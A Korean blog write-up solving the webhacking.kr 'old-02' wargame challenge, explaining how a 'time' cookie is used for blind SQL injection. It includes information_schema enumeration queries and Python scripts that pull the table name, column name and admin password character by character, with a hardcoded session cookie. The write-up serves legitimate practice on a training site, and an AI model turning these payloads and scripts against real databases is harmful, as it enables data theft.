<!--
2022-07-21 05:18:50
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
페이지의 소스 코드에서 admin.php 페이지에 접근하려고 하면, 엉덩이를 걷어 찰 것이라고 한다.
그리고 2022-07-21 05:18:50이라는 시간이 나와있다.
cookie를 봐보면 위와 같이 time 쿠키가 있다.
time 쿠키의 값을 1로 바꾸니 시간도 2070-01-01 09:00:01로 바뀌었다.
time 쿠키의 값을 2로 바꾸니 시간에서도 2로 바뀌었다.
time 쿠키의 값을 0으로 바꾸면 새로고침한 시간으로 바뀐다.
그렇다면 time의 값이 1일 때는 09:00:01이 되고, time의 값이 0일 때는 현재 시각을 나타낸다면, 09:00:00이 되게 하려면 time의 값을 참이 아닌 거짓을 만들어야 하는데
위와 같이 time의 값을 거짓이 되게 하면 09:00:00이 출력된다.
즉, 쿠키의 값이 초에 입력되는데 쿠키의 값이 참이면 09:00:(time 쿠키에 입력된 값), 거짓이면 09:00:00이 출력된다.
admin.php 페이지로 이동하니 위와 같이 secret password를 입력하라고 한다.
아무 값이나 입력하고 제출했더니 wrong password라고 뜬다.
풀이
테이블 개수 알아내기
현재 데이터베이스와 테이블과 컬럼들 그 어떤 정보도 없기 때문에 information_schema을 이용해 테이블의 정보를 얻어온다.
(select count(table_name) from information_schema.tables where table_schema=database())
위의 SQL 쿼리문을 time 쿠키 값에 입력하면 09:00:02가 나온다.
그러므로 table은 총 2개인 것을 알 수 있다.
테이블 이름의 길이 알아내기
그 다음으로는 테이블 이름의 길이를 알아낸다.
길이는 length() 함수로 알아낼 수 있다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)
위의 SQL 쿼리를 이용하면 두 개의 테이블 명의 길이를 알아낼 수 있다.
두 번째 테이블 명 알아내기
그 다음으로 테이블 명을 알아내는데
ascii()와 substr()를 이용한다.
먼저, 테이블 명이 3개짜리인 것을 알아낸다.
(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 1,1)
두 번째 테이블 명이 첫 번째 글자를 ascii()로 출력해보니 1분 48초이다.
1분은 60이고, 60 + 48 = 108('l')이다.
이어서 두 번째 세번째 글자도 알아내면 아래와 같다.
(select ascii(substr(table_name, 2, 1)) from information_schema.tables where table_schema=database() limit 1,1)
(select ascii(substr(table_name, 3, 1)) from information_schema.tables where table_schema=database() limit 1,1)
60 + 51 = 111('o')
60 + 43 = 103('g')
그러므로 두 번째 테이블 명은 log이다.
첫 번째 테이블 명 알아내기
이를 이용해 13글자 테이블 명도 알아낸다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {"PHPSESSID":"uhl27ggm8ph1bfqnh0m8sh5jst"}
def find_pw():
pw = ""
for i in range(1, 14):
cookie['time']=f"(select ascii(substr(table_name, {i}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
res = requests.get(url, cookies=cookie)
pw += chr(60 * int(res.text[20]) + int(res.text[22:24]))
print("pw is : " + pw)
find_pw()
admin_area_pw 테이블 내의 컬럼 개수 알아내기
테이블 명도 알아냈으니 이제 테이블 안에 있는 컬럼을 알아내야 한다.
위에서 테이블의 개수를 알아낼 때 사용하던 SQL 쿼리를 재사용하여 조금만 변경해준다.
(select count(column_name) from information_schema.columns where table_name='admin_area_pw')
admin_area_pw 테이블에 있는 컬럼의 개수는 1개이다.
admin_area_pw 테이블 내의 컬럼 명 길이 알아내기
해당 컬럼 명의 길이를 알아내기 위해 아래의 SQL 쿼리를 사용한다.
(select length(column_name) from information_schema.columns where table_name='admin_area_pw' limit 0, 1)
admin_area_pw 테이블 내의 컬럼 명 알아내기
컬럼의 이름이 두 글자라는 것을 알았으니 아래의 SQL 쿼리문을 사용해 글자를 알아낸다.
(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name='admin_area_pw' limit 0, 1)
(select ascii(substr(column_name, 2, 1)) from information_schema.columns where table_name='admin_area_pw' limit 0, 1)
각각 1분 52초, 1분 59초로 60 + 52 = 112('p'), 60 + 59 = 119('w')이다.
그러면 컬럼 명이 pw라는 것을 알아냈다.
admin_area_pw 테이블 내의 pw 컬럼 내의 데이터 길이 알아내기
pw 컬럼명 안에 있는 값의 길이가 얼마인지 아래의 쿼리를 이용해 알아낸다.
(select length(pw) from admin_area_pw)
pw 컬럼 안에 있는 값의 길이는 17글자이다.
admin_area_pw 테이블 내의 pw 컬럼 내의 데이터 알아내기
이제 이 값을 아래의 SQL 쿼리를 이용해 코드로 짜서 알아낸다.
(select ascii(substr(pw, 1, 1)) from admin_area_pw)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {"PHPSESSID":"uhl27ggm8ph1bfqnh0m8sh5jst"}
def find_table_name():
table_name = ""
for i in range(1, 14):
cookie['time']=f"(select ascii(substr(table_name, {i}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
res = requests.get(url, cookies=cookie)
table_name += chr(60 * int(res.text[20]) + int(res.text[22:24]))
print("table_name is : " + table_name)
return table_name
def find_pw_length():
table_name = find_table_name()
cookie['time'] = f"(select length(pw) from {table_name})"
res = requests.get(url, cookies=cookie)
pw_len = int(res.text[22:24])
print("pw length is : " + str(pw_len))
return int(res.text[22:24])
def find_pw():
pw = ""
for i in range(1, find_pw_length() + 1):
cookie['time'] = f"(select ascii(substr(pw, {i}, 1)) from admin_area_pw)"
res = requests.get(url, cookies=cookie)
pw += chr(60 * int(res.text[20]) + int(res.text[22:24]))
print("pw is : " + pw)
find_pw()
kudos_to_beistlab
'전쟁 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-21 (0) | 2022.07.21 |
---|---|
[Webhacking.kr] old-46 (0) | 2022.07.21 |
[Webhacking.kr] old-49 (0) | 2022.07.21 |
[Webhacking.kr] old-7 (0) | 2022.07.19 |
[Webhacking.kr] old-61 (0) | 2022.07.19 |